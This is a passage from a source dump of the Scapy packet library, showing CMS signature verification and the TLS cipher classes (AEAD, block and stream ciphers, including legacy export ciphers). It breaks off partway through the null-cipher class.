digestAlgorithms=X509_AlgorithmIdentifier(\n                    algorithm=ASN1_OID(h),\n                    parameters=ASN1_NULL(0),\n                ),\n                encapContentInfo=CMS_EncapsulatedContentInfo(\n                    eContentType=eContentType,\n                    eContent=message,\n                ),\n                certificates=(\n                    [CMS_CertificateChoices(certificate=cert) for cert in certificates]\n                    if certificates\n                    else None\n                ),\n                crls=(\n                    [CMS_RevocationInfoChoice(crl=crl) for crl in self.crls]\n                    if self.crls\n                    else None\n                ),\n                signerInfos=[\n                    signerInfo,\n                ],\n            ),\n        )\n\n    def verify(\n        self,\n        contentInfo: CMS_ContentInfo,\n        eContentType: Optional[ASN1_OID] = None,\n        eContent: Optional[bytes] = None,\n    ):\n        \"\"\"\n        Verify a CMS message against the list of trusted certificates,\n        and return the unpacked message if the verification succeeds.\n\n        :param contentInfo: the ContentInfo whose signature to verify\n        :param eContentType: if provided, verifies that the content type is valid\n        :param eContent: in PKCS 7.1, provide the content to verify\n        \"\"\"\n        if contentInfo.contentType.oidname != \"id-signedData\":\n            raise ValueError(\"ContentInfo isn't signed !\")\n\n        signeddata = contentInfo.content\n\n        # Build the certificate chain\n        certificates = []\n        if signeddata.certificates:\n            certificates = [Cert(x.certificate) for x in signeddata.certificates]\n        certTree = CertTree(certificates, self.store)\n\n        # Check there's at least one signature\n        if not signeddata.signerInfos:\n            raise ValueError(\"ContentInfo contained no signature !\")\n\n        # Check all signatures\n        for signerInfo in signeddata.signerInfos:\n            # Find certificate in the chain that did this\n            cert: Cert = certTree.findCertBySid(signerInfo.sid)\n\n            # Verify certificate signature\n            certTree.verify(cert)\n\n            # Verify the message hash\n            if signerInfo.signedAttrs:\n                # Verify the contentType\n                try:\n                    contentType = next(\n                        x.values[0].value\n                        for x in signerInfo.signedAttrs\n                        if x.type.oidname == \"contentType\"\n                    )\n\n                    if contentType != signeddata.encapContentInfo.eContentType:\n                        raise ValueError(\n                            \"Inconsistent 'contentType' was detected in packet !\"\n                        )\n\n                    if eContentType is not None and eContentType != contentType:\n                        raise ValueError(\n                            \"Expected '%s' but got '%s' contentType !\"\n                            % (\n                                eContentType,\n                                contentType,\n                            )\n                        )\n                except StopIteration:\n                    raise ValueError(\"Missing contentType in signedAttrs !\")\n\n                # Verify the messageDigest value\n                try:\n                    # \"A message-digest attribute MUST have a single attribute value\"\n                    messageDigest = next(\n                        x.values[0].value\n                        for x in signerInfo.signedAttrs\n                        if x.type.oidname == \"messageDigest\"\n                    )\n\n                    if signeddata.encapContentInfo.eContent is not None:\n                        eContent = bytes(signeddata.encapContentInfo.eContent)\n                    elif eContent is None:\n                        raise ValueError(\"No eContent was provided !\")\n\n                    # Re-calculate hash\n                    h = signerInfo.digestAlgorithm.algorithm.oidname\n                    hash = hashes.Hash(_get_hash(h))\n                    hash.update(eContent)\n                    hashed_message = hash.finalize()\n\n                    if hashed_message != messageDigest:\n                        raise ValueError(\"Invalid messageDigest value !\")\n                except StopIteration:\n                    raise ValueError(\"Missing messageDigest in signedAttrs !\")\n\n                # Verify the signature\n                cert.verify(\n                    msg=bytes(\n                        CMS_SignedAttrsForSignature(\n                            signedAttrs=signerInfo.signedAttrs,\n                        )\n                    ),\n                    sig=signerInfo.signature.val,\n                )\n            else:\n                cert.verify(\n                    msg=bytes(signeddata.encapContentInfo),\n                    sig=signerInfo.signature.val,\n                )\n\n        # Return the content\n        return signeddata.encapContentInfo.eContent\n"
  },
  {
    "path": "scapy/layers/tls/crypto/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#                     2015, 2016 Maxence Tury\n\n\"\"\"\nCryptographic capabilities for TLS.\n\"\"\"\n"
  },
  {
    "path": "scapy/layers/tls/crypto/all.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nAggregate some TLS crypto objects.\n\"\"\"\n\nfrom scapy.layers.tls.crypto.suites import *  # noqa: F401\n"
  },
  {
    "path": "scapy/layers/tls/crypto/cipher_aead.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nAuthenticated Encryption with Associated Data ciphers.\n\nRFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in\nGalois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites.\nThe related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905\nintroduced cipher suites based on a ChaCha20-Poly1305 construction.\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip\nfrom scapy.layers.tls.crypto.common import CipherError\nfrom scapy.utils import strxor\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes  # noqa: E501\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.exceptions import InvalidTag\nif conf.crypto_valid_advanced:\n    from cryptography.hazmat.primitives.ciphers.aead import (AESCCM,\n                                                             ChaCha20Poly1305)\nelse:\n    class AESCCM:\n        pass\n\n_tls_aead_cipher_algs = {}\n\n\nclass _AEADCipherMetaclass(type):\n    \"\"\"\n    Cipher classes are automatically registered through this metaclass.\n    Furthermore, their name attribute is extracted from their class name.\n    \"\"\"\n    def __new__(cls, ciph_name, bases, dct):\n        if not ciph_name.startswith(\"_AEADCipher\"):\n            dct[\"name\"] = ciph_name[7:]     # remove leading \"Cipher_\"\n        the_class = super(_AEADCipherMetaclass, cls).__new__(cls, ciph_name,\n                                                             bases, dct)\n        if not ciph_name.startswith(\"_AEADCipher\"):\n            _tls_aead_cipher_algs[ciph_name[7:]] = the_class\n        return the_class\n\n\nclass AEADTagError(Exception):\n    \"\"\"\n    Raised when MAC verification fails.\n    \"\"\"\n    pass\n\n\nclass _AEADCipher(metaclass=_AEADCipherMetaclass):\n    \"\"\"\n    The hasattr(self, \"pc_cls\") tests correspond to the legacy API of the\n    crypto library. With cryptography v2.0, both CCM and GCM should follow\n    the else case.\n\n    Note that the \"fixed_iv\" in TLS RFCs is called \"salt\" in the AEAD RFC 5116.\n    \"\"\"\n    type = \"aead\"\n    fixed_iv_len = 4\n    nonce_explicit_len = 8\n\n    def __init__(self, key=None, fixed_iv=None, nonce_explicit=None):\n        \"\"\"\n        'key' and 'fixed_iv' are to be provided as strings, whereas the internal  # noqa: E501\n        'nonce_explicit' is an integer (it is simpler for incrementation).\n        !! The whole 'nonce' may be called IV in certain RFCs.\n        \"\"\"\n        self.ready = {\"key\": True, \"fixed_iv\": True, \"nonce_explicit\": True}\n        if key is None:\n            self.ready[\"key\"] = False\n            key = b\"\\0\" * self.key_len\n        if fixed_iv is None:\n            self.ready[\"fixed_iv\"] = False\n            fixed_iv = b\"\\0\" * self.fixed_iv_len\n        if nonce_explicit is None:\n            self.ready[\"nonce_explicit\"] = False\n            nonce_explicit = 0\n\n        if isinstance(nonce_explicit, str):\n            nonce_explicit = pkcs_os2ip(nonce_explicit)\n\n        # we use super() in order to avoid any deadlock with __setattr__\n        super(_AEADCipher, self).__setattr__(\"key\", key)\n        super(_AEADCipher, self).__setattr__(\"fixed_iv\", fixed_iv)\n        super(_AEADCipher, self).__setattr__(\"nonce_explicit\", nonce_explicit)\n\n        if hasattr(self, \"pc_cls\"):\n            if isinstance(self.pc_cls, AESCCM):\n                self._cipher = Cipher(self.pc_cls(key),\n                                      self.pc_cls_mode(self._get_nonce()),\n                                      backend=default_backend(),\n                                      tag_length=self.tag_len)\n            else:\n                self._cipher = Cipher(self.pc_cls(key),\n                                      self.pc_cls_mode(self._get_nonce()),\n                                      backend=default_backend())\n        else:\n            self._cipher = self.cipher_cls(key)\n\n    def __setattr__(self, name, val):\n        if name == \"key\":\n            if self._cipher is not None:\n                if hasattr(self, \"pc_cls\"):\n                    self._cipher.algorithm.key = val\n                else:\n                    self._cipher._key = val\n            self.ready[\"key\"] = True\n        elif name == \"fixed_iv\":\n            self.ready[\"fixed_iv\"] = True\n        elif name == \"nonce_explicit\":\n            if isinstance(val, str):\n                val = pkcs_os2ip(val)\n            self.ready[\"nonce_explicit\"] = True\n        super(_AEADCipher, self).__setattr__(name, val)\n\n    def _get_nonce(self):\n        return (self.fixed_iv +\n                pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len))\n\n    def _update_nonce_explicit(self):\n        \"\"\"\n        Increment the explicit nonce while avoiding any overflow.\n        \"\"\"\n        ne = self.nonce_explicit + 1\n        self.nonce_explicit = ne % 2**(self.nonce_explicit_len * 8)\n\n    def auth_encrypt(self, P, A, seq_num=None):\n        \"\"\"\n        Encrypt the data then prepend the explicit part of the nonce. The\n        authentication tag is directly appended with the most recent crypto\n        API. Additional data may be authenticated without encryption (as A).\n\n        The 'seq_num' should never be used here, it is only a safeguard needed\n        because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py\n        actually is a _AEADCipher_TLS13 (even though others are not).\n        \"\"\"\n        if False in self.ready.values():\n            raise CipherError(P, A)\n\n        if hasattr(self, \"pc_cls\"):\n            self._cipher.mode._initialization_vector = self._get_nonce()\n            self._cipher.mode._tag = None\n            encryptor = self._cipher.encryptor()\n            encryptor.authenticate_additional_data(A)\n            res = encryptor.update(P) + encryptor.finalize()\n            res += encryptor.tag\n        else:\n            res = self._cipher.encrypt(self._get_nonce(), P, A)\n\n        nonce_explicit = pkcs_i2osp(self.nonce_explicit,\n                                    self.nonce_explicit_len)\n        self._update_nonce_explicit()\n        return nonce_explicit + res\n\n    def auth_decrypt(self, A, C, seq_num=None, add_length=True):\n        \"\"\"\n        Decrypt the data and authenticate the associated data (i.e. A).\n        If the verification fails, an AEADTagError is raised. It is the user's\n        responsibility to catch it if deemed useful. If we lack the key, we\n        raise a CipherError which contains the encrypted input.\n\n        Note that we add the TLSCiphertext length to A although we're supposed\n        to add the TLSCompressed length. Fortunately, they are the same,\n        but the specifications actually messed up here. :'(\n\n        The 'add_length' switch should always be True for TLS, but we provide\n        it anyway (mostly for test cases, hum).\n\n        The 'seq_num' should never be used here, it is only a safeguard needed\n        because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py\n        actually is a _AEADCipher_TLS13 (even though others are not).\n        \"\"\"\n        nonce_explicit_str, C, mac = (C[:self.nonce_explicit_len],\n                                      C[self.nonce_explicit_len:-self.tag_len],\n                                      C[-self.tag_len:])\n\n        if False in self.ready.values():\n            raise CipherError(nonce_explicit_str, C, mac)\n\n        self.nonce_explicit = pkcs_os2ip(nonce_explicit_str)\n        if add_length:\n            A += struct.pack(\"!H\", len(C))\n\n        if hasattr(self, \"pc_cls\"):\n            self._cipher.mode._initialization_vector = self._get_nonce()\n            self._cipher.mode._tag = mac\n            decryptor = self._cipher.decryptor()\n            decryptor.authenticate_additional_data(A)\n            P = decryptor.update(C)\n            try:\n                decryptor.finalize()\n            except InvalidTag:\n                raise AEADTagError(nonce_explicit_str, P, mac)\n        else:\n            try:\n                P = self._cipher.decrypt(self._get_nonce(), C + mac, A)\n            except InvalidTag:\n                raise AEADTagError(nonce_explicit_str,\n                                   \"<unauthenticated data>\",\n                                   mac)\n        return nonce_explicit_str, P, mac\n\n    def snapshot(self):\n        c = self.__class__(self.key, self.fixed_iv, self.nonce_explicit)\n        c.ready = self.ready.copy()\n        return c\n\n\nif conf.crypto_valid:\n    class Cipher_AES_128_GCM(_AEADCipher):\n        # XXX use the new AESGCM if available\n        # if conf.crypto_valid_advanced:\n        #    cipher_cls = AESGCM\n        # else:\n        pc_cls = algorithms.AES\n        pc_cls_mode = modes.GCM\n        key_len = 16\n        tag_len = 16\n\n    class Cipher_AES_256_GCM(Cipher_AES_128_GCM):\n        key_len = 32\n\n\nif conf.crypto_valid_advanced:\n    class Cipher_AES_128_CCM(_AEADCipher):\n        cipher_cls = AESCCM\n        key_len = 16\n        tag_len = 16\n\n    class Cipher_AES_256_CCM(Cipher_AES_128_CCM):\n        key_len = 32\n\n    class Cipher_AES_128_CCM_8(Cipher_AES_128_CCM):\n        tag_len = 8\n\n    class Cipher_AES_256_CCM_8(Cipher_AES_128_CCM_8):\n        key_len = 32\n\n\nclass _AEADCipher_TLS13(metaclass=_AEADCipherMetaclass):\n    \"\"\"\n    The hasattr(self, \"pc_cls\") enable support for the legacy implementation\n    of GCM in the cryptography library. They should not be used, and might\n    eventually be removed, with cryptography v2.0. XXX\n    \"\"\"\n    type = \"aead\"\n\n    def __init__(self, key=None, fixed_iv=None, nonce_explicit=None):\n        \"\"\"\n        'key' and 'fixed_iv' are to be provided as strings. This IV never\n        changes: it is either the client_write_IV or server_write_IV.\n\n        Note that 'nonce_explicit' is never used. It is only a safeguard for a\n        call in session.py to the TLS 1.2/ChaCha20Poly1305 case (see RFC 7905).\n        \"\"\"\n        self.ready = {\"key\": True, \"fixed_iv\": True}\n        if key is None:\n            self.ready[\"key\"] = False\n            key = b\"\\0\" * self.key_len\n        if fixed_iv is None:\n            self.ready[\"fixed_iv\"] = False\n            fixed_iv = b\"\\0\" * self.fixed_iv_len\n\n        # we use super() in order to avoid any deadlock with __setattr__\n        super(_AEADCipher_TLS13, self).__setattr__(\"key\", key)\n        super(_AEADCipher_TLS13, self).__setattr__(\"fixed_iv\", fixed_iv)\n\n        if hasattr(self, \"pc_cls\"):\n            if isinstance(self.pc_cls, AESCCM):\n                self._cipher = Cipher(self.pc_cls(key),\n                                      self.pc_cls_mode(fixed_iv),\n                                      backend=default_backend(),\n                                      tag_length=self.tag_len)\n            else:\n                self._cipher = Cipher(self.pc_cls(key),\n                                      self.pc_cls_mode(fixed_iv),\n                                      backend=default_backend())\n        else:\n            if self.cipher_cls == ChaCha20Poly1305:\n                # ChaCha20Poly1305 doesn't have a tag_length argument...\n                self._cipher = self.cipher_cls(key)\n            else:\n                self._cipher = self.cipher_cls(key, tag_length=self.tag_len)\n\n    def __setattr__(self, name, val):\n        if name == \"key\":\n            if self._cipher is not None:\n                if hasattr(self, \"pc_cls\"):\n                    self._cipher.algorithm.key = val\n                else:\n                    self._cipher._key = val\n            self.ready[\"key\"] = True\n        elif name == \"fixed_iv\":\n            self.ready[\"fixed_iv\"] = True\n        super(_AEADCipher_TLS13, self).__setattr__(name, val)\n\n    def _get_nonce(self, seq_num):\n        padlen = self.fixed_iv_len - len(seq_num)\n        padded_seq_num = b\"\\x00\" * padlen + seq_num\n        return strxor(padded_seq_num, self.fixed_iv)\n\n    def auth_encrypt(self, P, A, seq_num):\n        \"\"\"\n        Encrypt the data, and append the computed authentication code.\n        The additional data for TLS 1.3 is the record header.\n\n        Note that the cipher's authentication tag must be None when encrypting.\n        \"\"\"\n        if False in self.ready.values():\n            raise CipherError(P, A)\n\n        if hasattr(self, \"pc_cls\"):\n            self._cipher.mode._tag = None\n            self._cipher.mode._initialization_vector = self._get_nonce(seq_num)\n            encryptor = self._cipher.encryptor()\n            encryptor.authenticate_additional_data(A)\n            res = encryptor.update(P) + encryptor.finalize()\n            res += encryptor.tag\n        else:\n            if (conf.crypto_valid_advanced and\n                    isinstance(self._cipher, AESCCM)):\n                res = self._cipher.encrypt(self._get_nonce(seq_num), P, A)\n            else:\n                res = self._cipher.encrypt(self._get_nonce(seq_num), P, A)\n        return res\n\n    def auth_decrypt(self, A, C, seq_num):\n        \"\"\"\n        Decrypt the data and verify the authentication code (in this order).\n        If the verification fails, an AEADTagError is raised. It is the user's\n        responsibility to catch it if deemed useful. If we lack the key, we\n        raise a CipherError which contains the encrypted input.\n        \"\"\"\n        C, mac = C[:-self.tag_len], C[-self.tag_len:]\n        if False in self.ready.values():\n            raise CipherError(C, mac)\n\n        if hasattr(self, \"pc_cls\"):\n            self._cipher.mode._initialization_vector = self._get_nonce(seq_num)\n            self._cipher.mode._tag = mac\n            decryptor = self._cipher.decryptor()\n            decryptor.authenticate_additional_data(A)\n            P = decryptor.update(C)\n            try:\n                decryptor.finalize()\n            except InvalidTag:\n                raise AEADTagError(P, mac)\n        else:\n            try:\n                if (conf.crypto_valid_advanced and\n                        isinstance(self._cipher, AESCCM)):\n                    P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A)  # noqa: E501\n                else:\n                    if (conf.crypto_valid_advanced and\n                            isinstance(self, Cipher_CHACHA20_POLY1305)):\n                        A += struct.pack(\"!H\", len(C))\n                    P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A)  # noqa: E501\n            except InvalidTag:\n                raise AEADTagError(\"<unauthenticated data>\", mac)\n        return P, mac\n\n    def snapshot(self):\n        c = self.__class__(self.key, self.fixed_iv)\n        c.ready = self.ready.copy()\n        return c\n\n\nif conf.crypto_valid_advanced:\n    class Cipher_CHACHA20_POLY1305_TLS13(_AEADCipher_TLS13):\n        cipher_cls = ChaCha20Poly1305\n        key_len = 32\n        tag_len = 16\n        fixed_iv_len = 12\n        nonce_explicit_len = 0\n\n    class Cipher_CHACHA20_POLY1305(Cipher_CHACHA20_POLY1305_TLS13):\n        \"\"\"\n        This TLS 1.2 cipher actually uses TLS 1.3 logic, as per RFC 7905.\n        Changes occur at the record layer (in record.py).\n        \"\"\"\n        pass\n\n\nif conf.crypto_valid:\n    class Cipher_AES_128_GCM_TLS13(_AEADCipher_TLS13):\n        # XXX use the new AESGCM if available\n        # if conf.crypto_valid_advanced:\n        #    cipher_cls = AESGCM\n        # else:\n        pc_cls = algorithms.AES\n        pc_cls_mode = modes.GCM\n        key_len = 16\n        fixed_iv_len = 12\n        tag_len = 16\n\n    class Cipher_AES_256_GCM_TLS13(Cipher_AES_128_GCM_TLS13):\n        key_len = 32\n\n\nif conf.crypto_valid_advanced:\n    class Cipher_AES_128_CCM_TLS13(_AEADCipher_TLS13):\n        cipher_cls = AESCCM\n        key_len = 16\n        tag_len = 16\n        fixed_iv_len = 12\n\n    class Cipher_AES_128_CCM_8_TLS13(Cipher_AES_128_CCM_TLS13):\n        tag_len = 8\n"
  },
  {
    "path": "scapy/layers/tls/crypto/cipher_block.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nBlock ciphers.\n\"\"\"\n\nimport warnings\n\nfrom scapy.config import conf\nfrom scapy.layers.tls.crypto.common import CipherError\n\nif conf.crypto_valid:\n    from cryptography.utils import (\n        CryptographyDeprecationWarning,\n    )\n    from cryptography.hazmat.primitives.ciphers import (\n        BlockCipherAlgorithm,\n        Cipher,\n        CipherAlgorithm,\n        algorithms,\n        modes,\n    )\n    from cryptography.hazmat.backends.openssl.backend import backend\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\n\n    # cryptography's TripleDES can be used to simulate DES behavior\n    DES = lambda key: decrepit_algorithms.TripleDES(key * 3)\n\n    try:\n        # cryptography > 47.0\n        Camellia = decrepit_algorithms.Camellia\n    except AttributeError:\n        Camellia = algorithms.Camellia\n\n\n_tls_block_cipher_algs = {}\n\n\nclass _BlockCipherMetaclass(type):\n    \"\"\"\n    Cipher classes are automatically registered through this metaclass.\n    Furthermore, their name attribute is extracted from their class name.\n    \"\"\"\n    def __new__(cls, ciph_name, bases, dct):\n        if ciph_name != \"_BlockCipher\":\n            dct[\"name\"] = ciph_name[7:]     # remove leading \"Cipher_\"\n        the_class = super(_BlockCipherMetaclass, cls).__new__(cls, ciph_name,\n                                                              bases, dct)\n        if ciph_name != \"_BlockCipher\":\n            _tls_block_cipher_algs[ciph_name[7:]] = the_class\n        return the_class\n\n\nclass _BlockCipher(metaclass=_BlockCipherMetaclass):\n    type = \"block\"\n\n    def __init__(self, key=None, iv=None):\n        self.ready = {\"key\": True, \"iv\": True}\n        if key is None:\n            self.ready[\"key\"] = False\n            if hasattr(self, \"expanded_key_len\"):\n                key_len = self.expanded_key_len\n            else:\n                key_len = self.key_len\n            key = b\"\\0\" * key_len\n\n        # we use super() in order to avoid any deadlock with __setattr__\n        super(_BlockCipher, self).__setattr__(\"key\", key)\n        if self.pc_cls_mode == modes.ECB:\n            self._cipher = Cipher(self.pc_cls(key),\n                                  self.pc_cls_mode(),\n                                  backend=backend)\n        else:\n            if not iv:\n                self.ready[\"iv\"] = False\n                iv = b\"\\0\" * self.block_size\n            super(_BlockCipher, self).__setattr__(\"iv\", iv)\n\n            self._cipher = Cipher(self.pc_cls(key),\n                                  self.pc_cls_mode(iv),\n                                  backend=backend)\n\n    def __setattr__(self, name, val):\n        if name == \"key\":\n            if self._cipher is not None:\n                self._cipher.algorithm.key = val\n            self.ready[\"key\"] = True\n        elif name == \"iv\":\n            if self._cipher is not None:\n                self._cipher.mode._initialization_vector = val\n            self.ready[\"iv\"] = True\n        super(_BlockCipher, self).__setattr__(name, val)\n\n    def encrypt(self, data):\n        \"\"\"\n        Encrypt the data. Also, update the cipher iv. This is needed for SSLv3\n        and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.post_build().\n        \"\"\"\n        if False in self.ready.values():\n            raise CipherError(data)\n        encryptor = self._cipher.encryptor()\n        tmp = encryptor.update(data) + encryptor.finalize()\n        self.iv = tmp[-self.block_size:]\n        return tmp\n\n    def decrypt(self, data):\n        \"\"\"\n        Decrypt the data. Also, update the cipher iv. This is needed for SSLv3\n        and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.pre_dissect().\n        If we lack the key, we raise a CipherError which contains the input.\n        \"\"\"\n        if False in self.ready.values():\n            raise CipherError(data)\n        decryptor = self._cipher.decryptor()\n        tmp = decryptor.update(data) + decryptor.finalize()\n        self.iv = data[-self.block_size:]\n        return tmp\n\n    def snapshot(self):\n        c = self.__class__(self.key, self.iv)\n        c.ready = self.ready.copy()\n        return c\n\n\nif conf.crypto_valid:\n    class Cipher_AES_128_CBC(_BlockCipher):\n        pc_cls = algorithms.AES\n        pc_cls_mode = modes.CBC\n        block_size = 16\n        key_len = 16\n\n    class Cipher_AES_256_CBC(Cipher_AES_128_CBC):\n        key_len = 32\n\n    class Cipher_CAMELLIA_128_CBC(_BlockCipher):\n        pc_cls = Camellia\n        pc_cls_mode = modes.CBC\n        block_size = 16\n        key_len = 16\n\n    class Cipher_CAMELLIA_256_CBC(Cipher_CAMELLIA_128_CBC):\n        key_len = 32\n\n\n# Mostly deprecated ciphers\n\n_sslv2_block_cipher_algs = {}\n\nif conf.crypto_valid:\n    class Cipher_DES_ECB(_BlockCipher):\n        pc_cls = staticmethod(DES)\n        pc_cls_mode = modes.ECB\n        block_size = 8\n        key_len = 8\n\n    class Cipher_DES_CBC(_BlockCipher):\n        pc_cls = staticmethod(DES)\n        pc_cls_mode = modes.CBC\n        block_size = 8\n        key_len = 8\n\n    class Cipher_DES40_CBC(Cipher_DES_CBC):\n        \"\"\"\n        This is an export cipher example. The key length has been weakened to 5\n        random bytes (i.e. 5 bytes will be extracted from the master_secret).\n        Yet, we still need to know the original length which will actually be\n        fed into the encryption algorithm. This is what expanded_key_len\n        is for, and it gets used in PRF.postprocess_key_for_export().\n        We never define this attribute with non-export ciphers.\n        \"\"\"\n        expanded_key_len = 8\n        key_len = 5\n\n    class Cipher_3DES_EDE_CBC(_BlockCipher):\n        pc_cls = decrepit_algorithms.TripleDES\n        pc_cls_mode = modes.CBC\n        block_size = 8\n        key_len = 24\n\n    _sslv2_block_cipher_algs[\"DES_192_EDE3_CBC\"] = Cipher_3DES_EDE_CBC\n\n    try:\n        with warnings.catch_warnings():\n            # Hide deprecation warnings\n            warnings.filterwarnings(\"ignore\",\n                                    category=CryptographyDeprecationWarning)\n\n            class Cipher_IDEA_CBC(_BlockCipher):\n                pc_cls = decrepit_algorithms.IDEA\n                pc_cls_mode = modes.CBC\n                block_size = 8\n                key_len = 16\n\n            class Cipher_SEED_CBC(_BlockCipher):\n                pc_cls = decrepit_algorithms.SEED\n                pc_cls_mode = modes.CBC\n                block_size = 16\n                key_len = 16\n\n            _sslv2_block_cipher_algs.update({\n                \"IDEA_128_CBC\": Cipher_IDEA_CBC,\n                \"DES_64_CBC\": Cipher_DES_CBC,\n            })\n    except AttributeError:\n        pass\n\n\n# We need some black magic for RC2, which is not registered by default\n# to the openssl backend of the cryptography library.\n# If the current version of openssl does not support rc2, the RC2 ciphers are\n# silently not declared, and the corresponding suites will have 'usable' False.\n\nif conf.crypto_valid:\n    try:\n        from cryptography.hazmat.decrepit.ciphers.algorithms import RC2\n        rc2_available = backend.cipher_supported(\n            RC2(b\"0\" * 16), modes.CBC(b\"0\" * 8)\n        )\n    except ImportError:\n        # Legacy path for cryptography < 43.0.0\n        from cryptography.hazmat.backends.openssl.backend import (\n            GetCipherByName\n        )\n        _gcbn_format = \"{cipher.name}-{mode.name}\"\n\n        class RC2(BlockCipherAlgorithm, CipherAlgorithm):\n            name = \"RC2\"\n            block_size = 64\n            key_sizes = frozenset([128])\n\n            def __init__(self, key):\n                self.key = algorithms._verify_key_size(self, key)\n\n            @property\n            def key_size(self):\n                return len(self.key) * 8\n        if GetCipherByName(_gcbn_format)(backend, RC2, modes.CBC) != \\\n                backend._ffi.NULL:\n            rc2_available = True\n            backend.register_cipher_adapter(RC2,\n                                            modes.CBC,\n                                            GetCipherByName(_gcbn_format))\n        else:\n            rc2_available = False\n\n    if rc2_available:\n        class Cipher_RC2_CBC(_BlockCipher):\n            pc_cls = RC2\n            pc_cls_mode = modes.CBC\n            block_size = 8\n            key_len = 16\n\n        class Cipher_RC2_CBC_40(Cipher_RC2_CBC):\n            expanded_key_len = 16\n            key_len = 5\n\n        _sslv2_block_cipher_algs[\"RC2_128_CBC\"] = Cipher_RC2_CBC\n\n\n_tls_block_cipher_algs.update(_sslv2_block_cipher_algs)\n"
  },
  {
    "path": "scapy/layers/tls/crypto/cipher_stream.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nStream ciphers.\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.layers.tls.crypto.common import CipherError\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms\n    from cryptography.hazmat.backends import default_backend\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\n\n\n_tls_stream_cipher_algs = {}\n\n\nclass _StreamCipherMetaclass(type):\n    \"\"\"\n    Cipher classes are automatically registered through this metaclass.\n    Furthermore, their name attribute is extracted from their class name.\n    \"\"\"\n    def __new__(cls, ciph_name, bases, dct):\n        if ciph_name != \"_StreamCipher\":\n            dct[\"name\"] = ciph_name[7:]     # remove leading \"Cipher_\"\n        the_class = super(_StreamCipherMetaclass, cls).__new__(cls, ciph_name,\n                                                               bases, dct)\n        if ciph_name != \"_StreamCipher\":\n            _tls_stream_cipher_algs[ciph_name[7:]] = the_class\n        return the_class\n\n\nclass _StreamCipher(metaclass=_StreamCipherMetaclass):\n    type = \"stream\"\n\n    def __init__(self, key=None):\n        \"\"\"\n        Note that we have to keep the encryption/decryption state in unique\n        encryptor and decryptor objects. This differs from _BlockCipher.\n\n        In order to do connection state snapshots, we need to be able to\n        recreate past cipher contexts. This is why we feed _enc_updated_with\n        and _dec_updated_with every time encrypt() or decrypt() is called.\n        \"\"\"\n        self.ready = {\"key\": True}\n        if key is None:\n            self.ready[\"key\"] = False\n            if hasattr(self, \"expanded_key_len\"):\n                tmp_len = self.expanded_key_len\n            else:\n                tmp_len = self.key_len\n            key = b\"\\0\" * tmp_len\n\n        # we use super() in order to avoid any deadlock with __setattr__\n        super(_StreamCipher, self).__setattr__(\"key\", key)\n\n        self._cipher = Cipher(self.pc_cls(key),\n                              mode=None,\n                              backend=default_backend())\n        self.encryptor = self._cipher.encryptor()\n        self.decryptor = self._cipher.decryptor()\n        self._enc_updated_with = b\"\"\n        self._dec_updated_with = b\"\"\n\n    def __setattr__(self, name, val):\n        \"\"\"\n        We have to keep the encryptor/decryptor for a long time,\n        however they have to be updated every time the key is changed.\n        \"\"\"\n        if name == \"key\":\n            if self._cipher is not None:\n                self._cipher.algorithm.key = val\n                self.encryptor = self._cipher.encryptor()\n                self.decryptor = self._cipher.decryptor()\n            self.ready[\"key\"] = True\n        super(_StreamCipher, self).__setattr__(name, val)\n\n    def encrypt(self, data):\n        if False in self.ready.values():\n            raise CipherError(data)\n        self._enc_updated_with += data\n        return self.encryptor.update(data)\n\n    def decrypt(self, data):\n        if False in self.ready.values():\n            raise CipherError(data)\n        self._dec_updated_with += data\n        return self.decryptor.update(data)\n\n    def snapshot(self):\n        c = self.__class__(self.key)\n        c.ready = self.ready.copy()\n        c.encryptor.update(self._enc_updated_with)\n        c.decryptor.update(self._dec_updated_with)\n        c._enc_updated_with = self._enc_updated_with\n        c._dec_updated_with = self._dec_updated_with\n        return c\n\n\nif conf.crypto_valid:\n    class Cipher_RC4_128(_StreamCipher):\n        pc_cls = decrepit_algorithms.ARC4\n        key_len = 16\n\n    class Cipher_RC4_40(Cipher_RC4_128):\n        expanded_key_len = 16\n        key_len = 5\n\n\nclass Cipher_NULL(_StreamCipher):\n    key_len = 0\n\n    def __init__(self, key=None):\n        self.ready = {\"key\": 